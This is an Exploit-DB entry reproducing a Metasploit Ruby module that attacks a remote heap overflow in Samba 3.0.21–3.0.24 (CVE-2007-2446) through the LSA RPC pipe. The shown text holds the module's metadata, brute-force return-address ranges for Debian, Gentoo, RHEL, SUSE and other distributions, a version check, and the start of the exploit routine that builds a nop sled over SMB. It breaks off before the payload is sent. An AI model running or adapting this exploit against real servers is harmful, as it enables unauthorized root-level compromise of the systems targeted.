Exploit-DB #16859
Description: Samba 3.0.24 (Linux) - 'lsa_io_trans_names' Heap Overflow (Metasploit)
Type: remote
Platform: linux
Date: 2010-07-14
Author: Metasploit

Exploit:
##
# $Id: lsa_transnames_heap.rb 9828 2010-07-14 17:27:23Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::DCERPC
	include Msf::Exploit::Remote::SMB
	include Msf::Exploit::Brute

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Samba lsa_io_trans_names Heap Overflow',
			'Description'    => %q{
				This module triggers a heap overflow in the LSA RPC service
			of the Samba daemon. This module uses the TALLOC chunk overwrite
			method (credit Ramon and Adriano), which only works with Samba
			versions 3.0.21-3.0.24. Additonally, this module will not work
			when the Samba "log level" parameter is higher than "2".
			},
			'Author'         =>
				[
					'ramon',
					'Adriano Lima <adriano@risesecurity.org>',
					'hdm'
				],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9828 $',
			'References'     =>
				[
					['CVE', '2007-2446'],
					['OSVDB', '34699'],
				],
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 1024, # no limit really
				},
			'Platform'       => 'linux',
			'DefaultOptions' =>
				{
					'PrependSetresuid' => true,
					'PrependSetreuid'  => true,
					'PrependSetuid'    => true,
				},
			'Targets'        =>
				[
					['Linux vsyscall',
					{
						'Platform'      => 'linux',
						'Arch'          => [ ARCH_X86 ],
						'Nops'          => 1024,
						'Bruteforce' =>
							{
								'Start' => { 'Ret' => 0xffffe410 },
								'Stop'  => { 'Ret' => 0xffffe413 },
								'Step'  => 1,
							}
					}
					],


					##
					# 08[PII_REDACTED]d000 rwxp 08356000 00:00 0 (Debian)      # KF
					# 80[PII_REDACTED]f000 rw-p 80300000 00:00 0 (Gentoo)      # hdm
					# b800f000-b80c9000 rwxp b800f000 00:00 0 (RHEL/CentOS) # Adriano/Ramon
					# [PII_REDACTED] rwxp 80365000 00:00 0 (SUSE)        # Adriano/Ramon
					# 8033c[PII_REDACTED]0 rwxp 00000000 00:00 0 (Slackware)   # Adriano/Ramon
					# [PII_REDACTED] rwxp 00000000 00:00 0 (Ubuntu)      # hdm
					# 08[PII_REDACTED]f000 rwxp 00000000 00:00 0 (SNAP)        # Andrew
					#
					##

					['Linux Heap Brute Force (Debian/Ubuntu)',
					{
						'Platform'      => 'linux',
						'Arch'          => [ ARCH_X86 ],
						'Nops'          => 64*1024,
						'Bruteforce' =>
							{
								'Start' => { 'Ret' => 0x08352000 },
								'Stop'  => { 'Ret' => 0x0843d000 },
								'Step'  => 60*1024,

							}
					}
					],

					['Linux Heap Brute Force (Gentoo)',
					{
						'Platform'      => 'linux',
						'Arch'          => [ ARCH_X86 ],
						'Nops'          => 64*1024,
						'Bruteforce' =>
							{
								'Start' => { 'Ret' => 0x80310000 },
								'Stop'  => { 'Ret' => 0x8042f000 },
								'Step'  => 60*1024,

							}
					}
					],



					['Linux Heap Brute Force (Mandriva)',
					{
						'Platform'      => 'linux',
						'Arch'          => [ ARCH_X86 ],
						'Nops'          => 64*1024,
						'Bruteforce' =>
							{
								'Start' => { 'Ret' => 0x80380000 },
								'Stop'  => { 'Ret' => 0x8045b000 },
								'Step'  => 60*1024,

							}
					}
					],

					['Linux Heap Brute Force (RHEL/CentOS)',
					{
						'Platform'      => 'linux',
						'Arch'          => [ ARCH_X86 ],
						'Nops'          => 64*1024,
						'Bruteforce' =>
							{
								'Start' => { 'Ret' => 0xb800f000 },
								'Stop'  => { 'Ret' => 0xb80c9000 },
								'Step'  => 60*1024,

							}
					}
					],

					['Linux Heap Brute Force (SUSE)',
					{
						'Platform'      => 'linux',
						'Arch'          => [ ARCH_X86 ],
						'Nops'          => 64*1024,
						'Bruteforce' =>
							{
								'Start' => { 'Ret' => 0x80365000 },
								'Stop'  => { 'Ret' => 0x80424000 },
								'Step'  => 60*1024,

							}
					}
					],

					['Linux Heap Brute Force (Slackware)',
					{
						'Platform'      => 'linux',
						'Arch'          => [ ARCH_X86 ],
						'Nops'          => 64*1024,
						'Bruteforce' =>
							{
								'Start' => { 'Ret' => 0x8033c000 },
								'Stop'  => { 'Ret' => 0x80412000 },
								'Step'  => 60*1024,

							}
					}
					],

					['DEBUG',
					{
						'Platform'      => 'linux',
						'Arch'          => [ ARCH_X86 ],
						'Nops'          => 1024,
						'Bruteforce' =>
							{
								'Start' => { 'Ret' => 0xAABBCCDD },
								'Stop'  => { 'Ret' => 0xAABBCCDD },
								'Step'  => 4,
							}
					}
					],
				],
			'DisclosureDate' => 'May 14 2007',
			'DefaultTarget'  => 0
			))

		register_options(
			[
				OptString.new('SMBPIPE', [ true,  "The pipe name to use", 'LSARPC']),
			], self.class)

	end

	def check
		begin
			connect()
			smb_login()
			disconnect()
			if (smb_peer_lm() =~ /Samba/i)
				return CheckCode::Detected
			else
				return CheckCode::Safe
			end
		rescue ::Exception
			return CheckCode::Safe
		end
	end

	def brute_exploit(target_addrs)

		if(not @nops)
			if (target['Nops'] > 0)
				print_status("Creating nop sled....")
				@nops = make_nops(target['Nops'])
			else
				@nops = ''
			end

			# @nops = "\xcc" * (@nops.length)
		end

		print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret'])

		nops = @nops
		pipe = datastore['SMBPIPE'].downcase

		print_status("Connecting to the SMB service...")
		connect()
		smb_login()

		if ! @checked_peerlm
			if smb_peer_lm !~ /Samba 3\.0\.2[1234]/i
				raise RuntimeError, "This target is not a vulnerable Samba server (#{smb_peer_lm})"
			end
		end

		@checked_peerlm = true

		d